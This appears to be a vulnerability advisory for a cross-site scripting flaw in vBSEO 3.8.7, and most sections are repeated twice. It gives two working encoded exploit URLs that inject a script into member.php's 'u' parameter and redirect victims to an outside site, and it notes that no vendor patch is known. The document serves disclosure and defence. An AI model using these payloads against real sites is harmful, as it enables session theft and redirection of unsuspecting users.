vBSEO 'u' parameter Cross Site Scripting Vulnerability
BID:55908
CVE-2012-6666 |Info
vBSEO 'u' parameter Cross Site Scripting Vulnerability
| Bugtraq ID: | 55908 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 16 2012 12:00AM |
| Updated: | Jun 16 2012 12:00AM |
| Credit: | MegaMan |
| Vulnerable: |
Crawlability vBSEO 3.8.7 |
| Not Vulnerable: | |
Discussion
vBSEO 'u' parameter Cross Site Scripting Vulnerability
vBSEO is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
vBSEO 3.8.7 is vulnerable; other versions may also be affected.
vBSEO is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
vBSEO 3.8.7 is vulnerable; other versions may also be affected.
Exploit / POC
vBSEO 'u' parameter Cross Site Scripting Vulnerability
An attacker can exploit the issue by enticing an unsuspecting user to visit a specially crafted URL.
The following example URIs are available:
http://www.example.com/forums/member.php?tab=friends&u=11411%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E
http://www.example.com/forum/member.php?u=1%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E
An attacker can exploit the issue by enticing an unsuspecting user to visit a specially crafted URL.
The following example URIs are available:
http://www.example.com/forums/member.php?tab=friends&u=11411%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E
http://www.example.com/forum/member.php?u=1%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E
Solution / Fix
vBSEO 'u' parameter Cross Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].